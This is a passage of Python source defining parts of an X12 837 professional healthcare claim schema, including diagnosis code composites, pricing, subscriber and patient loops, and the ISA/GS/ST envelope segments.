codes=[],
),
),
Element(
"HI03-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="04",
),
Element(
"HI04-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI04-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI04-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI04-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI04-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI04-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI04-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI04-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI04-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="05",
),
Element(
"HI05-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI05-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI05-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI05-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI05-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI05-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI05-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI05-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI05-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="06",
),
Element(
"HI06-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI06-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI06-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI06-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI06-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI06-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI06-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI06-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI06-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="07",
),
Element(
"HI07-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI07-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI07-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI07-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI07-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI07-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI07-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI07-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI07-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="08",
),
Element(
"HI08-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI08-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI08-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI08-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI08-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI08-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI08-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI08-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI08-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="09",
),
Element(
"HI09-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI09-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI09-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI09-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI09-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI09-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI09-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI09-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI09-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="10",
),
Element(
"HI10-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI10-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI10-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI10-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI10-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI10-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI10-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI10-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI10-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"HI11-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI11-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI11-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI11-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI11-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI11-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI11-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI11-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI11-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="12",
),
Element(
"HI12-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI12-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI12-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI12-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI12-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI12-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI12-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI12-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI12-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
),
Segment(
"HCP",
Properties(
desc="Claim Pricing/Repricing Information",
position="2410",
repeat="1",
req_sit="S",
syntax="R0113 P0910 P1112",
),
Element(
"HCP01",
Properties(
desc="Pricing Methodology",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"00",
"01",
"02",
"03",
"04",
"05",
"07",
"08",
"09",
"10",
"11",
"12",
"13",
"14",
],
),
),
Element(
"HCP02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"HCP03",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"HCP04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"HCP05",
Properties(
desc="Rate",
req_sit="S",
data_type=("R", "1", "9"),
position=5,
codes=[],
),
),
Element(
"HCP06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"HCP07",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=7,
codes=[],
),
),
Element(
"HCP08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=8,
codes=[],
),
),
Element(
"HCP09",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"HCP10",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=10,
codes=[],
),
),
Element(
"HCP11",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=11,
codes=[],
),
),
Element(
"HCP12",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=12,
codes=[],
),
),
Element(
"HCP13",
Properties(
desc="Reject Reason Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=13,
codes=["T1", "T2", "T3", "T4", "T5", "T6"],
),
),
Element(
"HCP14",
Properties(
desc="Policy Compliance Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=14,
codes=["1", "2", "3", "4", "5"],
),
),
Element(
"HCP15",
Properties(
desc="Exception Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=15,
codes=["1", "2", "3", "4", "5", "6"],
),
),
),
parsed_837_2310A,
parsed_837_2310B,
parsed_837_2310C,
parsed_837_2310D,
parsed_837_2310E,
parsed_837_2310F,
parsed_837_2320,
parsed_837_2400,
)
parsed_837_2000C = Loop(
"2000C",
Properties(
desc="Patient Hierarchical Level",
looptype="",
position="1400",
repeat=">1",
req_sit="S",
),
Segment(
"HL",
Properties(
desc="Patient Hierarchical Level",
position="0010",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"HL01",
Properties(
desc="Hierarchical ID Number",
req_sit="R",
data_type=("AN", "1", "12"),
position=1,
codes=[],
),
),
Element(
"HL02",
Properties(
desc="Hierarchical Parent ID Number",
req_sit="R",
data_type=("AN", "1", "12"),
position=2,
codes=[],
),
),
Element(
"HL03",
Properties(
desc="Hierarchical Level Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=3,
codes=["23"],
),
),
Element(
"HL04",
Properties(
desc="Hierarchical Child Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["0"],
),
),
),
Segment(
"PAT",
Properties(
desc="Patient Information",
position="0070",
repeat="1",
req_sit="R",
syntax="P0506 P0708",
),
Element(
"PAT01",
Properties(
desc="Individual Relationship Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["01", "19", "20", "21", "39", "40", "53", "G8"],
),
),
Element(
"PAT02",
Properties(
desc="Patient Location Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=2,
codes=[],
),
),
Element(
"PAT03",
Properties(
desc="Employment Status Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"PAT04",
Properties(
desc="Student Status Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Element(
"PAT05",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["D8"],
),
),
Element(
"PAT06",
Properties(
desc="Date Time Period",
req_sit="S",
data_type=("AN", "1", "35"),
position=6,
codes=[],
),
),
Element(
"PAT07",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["01"],
),
),
Element(
"PAT08",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=8,
codes=[],
),
),
Element(
"PAT09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=9,
codes=["Y"],
),
),
),
parsed_837_2010CA,
parsed_837_2300,
)
parsed_837_2000B = Loop(
"2000B",
Properties(
desc="Subscriber Hierarchical Level",
looptype="",
position="0200",
repeat=">1",
req_sit="R",
),
Segment(
"HL",
Properties(
desc="Subscriber Hierarchical Level",
position="0010",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"HL01",
Properties(
desc="Hierarchical ID Number",
req_sit="R",
data_type=("AN", "1", "12"),
position=1,
codes=[],
),
),
Element(
"HL02",
Properties(
desc="Hierarchical Parent ID Number",
req_sit="R",
data_type=("AN", "1", "12"),
position=2,
codes=[],
),
),
Element(
"HL03",
Properties(
desc="Hierarchical Level Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=3,
codes=["22"],
),
),
Element(
"HL04",
Properties(
desc="Hierarchical Child Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["0", "1"],
),
),
),
Segment(
"SBR",
Properties(
desc="Subscriber Information",
position="0050",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SBR01",
Properties(
desc="Payer Responsibility Sequence Number Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=1,
codes=["A", "B", "C", "D", "E", "F", "G", "H", "P", "S", "T", "U"],
),
),
Element(
"SBR02",
Properties(
desc="Individual Relationship Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=["18"],
),
),
Element(
"SBR03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"SBR04",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=4,
codes=[],
),
),
Element(
"SBR05",
Properties(
desc="Insurance Type Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=5,
codes=["12", "13", "14", "15", "16", "41", "42", "43", "47"],
),
),
Element(
"SBR06",
Properties(
desc="Coordination of Benefits Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=6,
codes=[],
),
),
Element(
"SBR07",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=7,
codes=[],
),
),
Element(
"SBR08",
Properties(
desc="Employment Status Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"SBR09",
Properties(
desc="Claim Filing Indicator Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=9,
codes=[
"11",
"12",
"13",
"14",
"15",
"16",
"17",
"AM",
"BL",
"CH",
"CI",
"DS",
"FI",
"HM",
"LM",
"MA",
"MB",
"MC",
"OF",
"TV",
"VA",
"WC",
"ZZ",
],
),
),
),
Segment(
"PAT",
Properties(
desc="Patient Information",
position="0070",
repeat="1",
req_sit="S",
syntax="P0506 P0708",
),
Element(
"PAT01",
Properties(
desc="Individual Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=1,
codes=[],
),
),
Element(
"PAT02",
Properties(
desc="Patient Location Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=2,
codes=[],
),
),
Element(
"PAT03",
Properties(
desc="Employment Status Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"PAT04",
Properties(
desc="Student Status Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Element(
"PAT05",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["D8"],
),
),
Element(
"PAT06",
Properties(
desc="Date Time Period",
req_sit="S",
data_type=("AN", "1", "35"),
position=6,
codes=[],
),
),
Element(
"PAT07",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["01"],
),
),
Element(
"PAT08",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=8,
codes=[],
),
),
Element(
"PAT09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=9,
codes=["Y"],
),
),
),
parsed_837_2010BA,
parsed_837_2010BB,
parsed_837_2300,
parsed_837_2000C,
)
parsed_837_2000A = Loop(
"2000A",
Properties(
desc="Billing Provider Hierarchical Level",
looptype="",
position="0010",
repeat=">1",
req_sit="R",
),
Segment(
"HL",
Properties(
desc="Billing Provider Hierarchical Level",
position="0010",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"HL01",
Properties(
desc="Hierarchical ID Number",
req_sit="R",
data_type=("AN", "1", "12"),
position=1,
codes=[],
),
),
Element(
"HL02",
Properties(
desc="Hierarchical Parent ID Number",
req_sit="N",
data_type=("AN", "1", "12"),
position=2,
codes=[],
),
),
Element(
"HL03",
Properties(
desc="Hierarchical Level Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=3,
codes=["20"],
),
),
Element(
"HL04",
Properties(
desc="Hierarchical Child Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["1"],
),
),
),
Segment(
"PRV",
Properties(
desc="Billing Provider Specialty Information",
position="0030",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"PRV01",
Properties(
desc="Provider Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["BI"],
),
),
Element(
"PRV02",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["PXC"],
),
),
Element(
"PRV03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"PRV04",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Composite(
"C035",
Properties(
desc="Provider Specialty Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Element(
"PRV06",
Properties(
desc="Provider Organization Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
),
Segment(
"CUR",
Properties(
desc="Foreign Currency Information",
position="0100",
repeat="1",
req_sit="S",
syntax="C0807 C0907 L101112 C1110 C1210 L131415 C1413 C1513 L161718 C1716 C1816 L192021 C2019 C2119",
),
Element(
"CUR01",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["85"],
),
),
Element(
"CUR02",
Properties(
desc="Currency Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=2,
codes=[],
),
),
Element(
"CUR03",
Properties(
desc="Exchange Rate",
req_sit="N",
data_type=("R", "4", "10"),
position=3,
codes=[],
),
),
Element(
"CUR04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CUR05",
Properties(
desc="Currency Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=5,
codes=[],
),
),
Element(
"CUR06",
Properties(
desc="Currency Market/Exchange Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
Element(
"CUR07",
Properties(
desc="Date/Time Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=7,
codes=[],
),
),
Element(
"CUR08",
Properties(
desc="Date",
req_sit="N",
data_type=("DT", "8", "8"),
position=8,
codes=[],
),
),
Element(
"CUR09",
Properties(
desc="Time",
req_sit="N",
data_type=("TM", "4", "8"),
position=9,
codes=[],
),
),
Element(
"CUR10",
Properties(
desc="Date/Time Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=10,
codes=[],
),
),
Element(
"CUR11",
Properties(
desc="Date",
req_sit="N",
data_type=("DT", "8", "8"),
position=11,
codes=[],
),
),
Element(
"CUR12",
Properties(
desc="Time",
req_sit="N",
data_type=("TM", "4", "8"),
position=12,
codes=[],
),
),
Element(
"CUR13",
Properties(
desc="Date/Time Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=13,
codes=[],
),
),
Element(
"CUR14",
Properties(
desc="Date",
req_sit="N",
data_type=("DT", "8", "8"),
position=14,
codes=[],
),
),
Element(
"CUR15",
Properties(
desc="Time",
req_sit="N",
data_type=("TM", "4", "8"),
position=15,
codes=[],
),
),
Element(
"CUR16",
Properties(
desc="Date/Time Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=16,
codes=[],
),
),
Element(
"CUR17",
Properties(
desc="Date",
req_sit="N",
data_type=("DT", "8", "8"),
position=17,
codes=[],
),
),
Element(
"CUR18",
Properties(
desc="Time",
req_sit="N",
data_type=("TM", "4", "8"),
position=18,
codes=[],
),
),
Element(
"CUR19",
Properties(
desc="Date/Time Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=19,
codes=[],
),
),
Element(
"CUR20",
Properties(
desc="Date",
req_sit="N",
data_type=("DT", "8", "8"),
position=20,
codes=[],
),
),
Element(
"CUR21",
Properties(
desc="Time",
req_sit="N",
data_type=("TM", "4", "8"),
position=21,
codes=[],
),
),
),
parsed_837_2010AA,
parsed_837_2010AB,
parsed_837_2010AC,
parsed_837_2000B,
)
parsed_837_DETAIL = Loop(
"DETAIL",
Properties(
desc="Table 2 - Detail",
looptype="wrapper",
position="0200",
repeat=">1",
req_sit="S",
),
parsed_837_2000A,
)
parsed_837_ST_LOOP = Loop(
"ST_LOOP",
Properties(
desc="Transaction Set Header",
looptype="explicit",
position="0200",
repeat=">1",
req_sit="R",
),
Segment(
"ST",
Properties(
desc="Transaction Set Header",
position="0050",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"ST01",
Properties(
desc="Transaction Set Identifier Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["837"],
),
),
Element(
"ST02",
Properties(
desc="Transaction Set Control Number",
req_sit="R",
data_type=("AN", "4", "9"),
position=2,
codes=[],
),
),
Element(
"ST03",
Properties(
desc="Implementation Convention Reference",
req_sit="S",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
parsed_837_HEADER,
parsed_837_DETAIL,
Segment(
"SE",
Properties(
desc="Transaction Set Trailer",
position="5550",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SE01",
Properties(
desc="Number of Included Segments",
req_sit="R",
data_type=("N0", "1", "10"),
position=1,
codes=[],
),
),
Element(
"SE02",
Properties(
desc="Transaction Set Control Number",
req_sit="R",
data_type=("AN", "4", "9"),
position=2,
codes=[],
),
),
),
)
parsed_837_GS_LOOP = Loop(
"GS_LOOP",
Properties(
desc="Functional Group Header",
looptype="explicit",
position="0200",
repeat=">1",
req_sit="R",
),
Segment(
"GS",
Properties(
desc="Functional Group Header",
position="0100",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"GS01",
Properties(
desc="Functional Identifier Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["HC"],
),
),
Element(
"GS02",
Properties(
desc="Application Senders Code",
req_sit="R",
data_type=("AN", "2", "15"),
position=2,
codes=[],
),
),
Element(
"GS03",
Properties(
desc="124",
req_sit="R",
data_type=("AN", "2", "15"),
position=3,
codes=[],
),
),
Element(
"GS04",
Properties(
desc="Date",
req_sit="R",
data_type=("DT", "8", "8"),
position=4,
codes=[],
),
),
Element(
"GS05",
Properties(
desc="Time",
req_sit="R",
data_type=("TM", "4", "8"),
position=5,
codes=[],
),
),
Element(
"GS06",
Properties(
desc="Group Control Number",
req_sit="R",
data_type=("N0", "1", "9"),
position=6,
codes=[],
),
),
Element(
"GS07",
Properties(
desc="Responsible Agency Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=7,
codes=["X"],
),
),
Element(
"GS08",
Properties(
desc="Version / Release / Industry Identifier Code",
req_sit="R",
data_type=("AN", "1", "12"),
position=8,
codes=["005010X222A1"],
),
),
),
parsed_837_ST_LOOP,
Segment(
"GE",
Properties(
desc="Functional Group Trailer",
position="0300",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"GE01",
Properties(
desc="97", req_sit="R", data_type=("N0", "1", "6"), position=1, codes=[]
),
),
Element(
"GE02",
Properties(
desc="Group Control Number",
req_sit="R",
data_type=("N0", "1", "9"),
position=2,
codes=[],
),
),
),
)
parsed_837_ISA_LOOP = Loop(
"ISA_LOOP",
Properties(
desc="Interchange Control Header",
looptype="explicit",
position="0010",
repeat=">1",
req_sit="R",
),
Segment(
"ISA",
Properties(
desc="Interchange Control Header",
position="0100",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"ISA01",
Properties(
desc="I01",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["00", "03"],
),
),
Element(
"ISA02",
Properties(
desc="I02",
req_sit="R",
data_type=("AN", "10", "10"),
position=2,
codes=[],
),
),
Element(
"ISA03",
Properties(
desc="I03",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["00", "01"],
),
),
Element(
"ISA04",
Properties(
desc="I04",
req_sit="R",
data_type=("AN", "10", "10"),
position=4,
codes=[],
),
